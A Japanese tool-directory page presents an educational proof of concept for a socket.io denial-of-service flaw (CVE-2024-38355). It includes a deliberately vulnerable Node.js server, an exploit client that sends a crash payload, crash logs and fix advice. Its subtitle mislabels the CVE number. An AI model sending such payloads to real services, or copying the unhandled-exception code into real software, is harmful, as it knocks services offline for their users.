Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-38355-PoC — CVE-2024-47554の概念実証 | Kitploit
ツール/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

CVE-2024-47554の概念実証

リポジトリを見る
18ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-38355 デモ (Socket.IO クラッシュ)

このプロジェクトは、socket.io のサービス拒否(DoS)脆弱性である CVE-2024-38355 を実証する Proof of Concept です。攻撃メカニズムとアプリケーションの保護方法を示す教育目的で作成されました。

脆弱性について (CVE-2024-38355)

この脆弱性は以下の socket.io バージョンに影響します:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

特別に細工された Socket.IO パケットにより、サーバー上でキャッチされない例外が発生し、Node.js プロセスがクラッシュします。これにより、サービス拒否(DoS) 攻撃が引き起こされます。

仕組み:

  1. クライアントは通常通り Socket.IO サーバーに接続します。
  2. クライアントがサーバー上でエラーを引き起こす悪意のあるイベント/パケットを送信します。
  3. サーバーコードが例外をスローし(例:信頼できない入力の処理)、ソケットにエラーハンドラがない場合、キャッチされない例外が Node.js プロセス全体をクラッシュさせます。
  4. サーバーはすべてのユーザーに対して利用不能になります。

重要な要因:

  • ソケットに error イベントリスナーがないこと
  • クライアントデータの処理時に例外をスローする可能性のあるサーバーサイドコード
  • グローバルな未キャッチ例外ハンドラがないこと

プロジェクト構成

このプロジェクトは2つのDockerコンテナで構成されています:

  1. vulnerable-server: 脆弱性のある [email protected] を使用する Node.js サーバー。悪意のあるデータを受信するとキャッチされない例外をスローするイベントハンドラがあります。
  • exploit-client: サーバーに接続し、最初に正常動作をテストし、その後サーバーをクラッシュさせるペイロードを送信する Node.js スクリプト。
  • 必要条件

    • Docker
    • Docker Compose

    または:

    • Node.js 18+
    • npm

    実行方法

    オプション1: Docker Compose を使用(推奨)

    プロジェクトのルートディレクトリでターミナルを開き、以下を実行します:

    root@kitploit:~
    docker-compose down
    docker-compose build --no-cache
    docker-compose up
    

    これにより:

    1. サーバーとクライアントのイメージをビルドします。
    2. サーバーをポート3000で起動します。
    3. エクスプロイトクライアントを起動し、自動的に攻撃してサーバーをクラッシュさせます。

    オプション2: ローカルで実行(Dockerなし)

    端末1 - サーバーを起動:

    root@kitploit:~
    cd server
    npm install
    npm start
    

    端末2 - エクスプロイトを実行:

    root@kitploit:~
    cd exploit
    npm install
    npm start
    

    期待される出力

    サーバーログ:

    root@kitploit:~
    [SERVER] Running on port 3000. Waiting for connections...
    [SERVER] Client connected: <socket-id>
    [SERVER] Processing data: {"message":"Hello, normal request"}
    [SERVER] Client disconnected: <socket-id>
    [SERVER] Client connected: <socket-id>
    [SERVER] Processing data: {"trigger":"crash"}
    /app/index.js:24
                throw new Error('Uncaught exception triggered by malicious packet');
    

    エクスプロイトログ:

    root@kitploit:~
    [EXPLOIT] CVE-2024-38355 Proof of Concept
    [EXPLOIT] Targeting http://vulnerable-server:3000...
    
    [STEP 1] Testing normal connection...
    [STEP 1] Connected successfully.
    [STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
    
    [STEP 2] Sending malicious payload to trigger CVE-2024-38355...
    [STEP 2] Connected. Sending crash trigger...
    [STEP 2] Payload sent! Waiting for server to crash...
    [STEP 2] Disconnected (server may have crashed).
    
    [STEP 3] Checking if server is still alive...
    [RESULT] SUCCESS! Server is unreachable: xhr poll error
    

    停止

    Ctrl+C を押すか、以下を実行します:

    root@kitploit:~
    docker-compose down
    

    コード解析

    Vulnerable Server (server/index.js)

    root@kitploit:~
    socket.on('process_data', (data) => {
        // VULNERABLE: No try-catch, no error handler on socket
        if (data && data.trigger === 'crash') {
            throw new Error('Uncaught exception');  // Crashes the process!
        }
    });
    

    Exploit (exploit/exploit.js)

    root@kitploit:~
    // Send malicious payload that triggers the crash
    socket.emit('process_data', { trigger: 'crash' });
    

    修正方法

    アプリケーションをこの脆弱性から保護するには:

    1. socket.io をバージョン 4.6.2 以上に更新します(修正によりデフォルトの noop エラーハンドラが追加されました)。

    2. ソケットに常にエラーハンドラをアタッチします:

      root@kitploit:~
      socket.on('error', (err) => {
          console.error('Socket error:', err);
          // Handle gracefully, don't let it crash the server
      });
      
    3. イベントハンドラを try-catch でラップします:

      root@kitploit:~
      socket.on('process_data', (data) => {
          try {
              // Process data safely
          } catch (err) {
              console.error('Error processing data:', err);
              socket.emit('error_response', { message: 'Invalid data' });
          }
      });
      
    4. グローバルな未キャッチ例外ハンドラを追加します(最終手段として):

      root@kitploit:~
      process.on('uncaughtException', (err) => {
          console.error('Uncaught Exception:', err);
          // Log and gracefully shutdown
      });
      

    参照

    • NVD 上の CVE-2024-38355
    • GitHub セキュリティアドバイザリ GHSA-25hc-qcg6-38wj
    • 修正コミット

    教育目的で作成されたプロジェクトです。

    ツールをダウンロード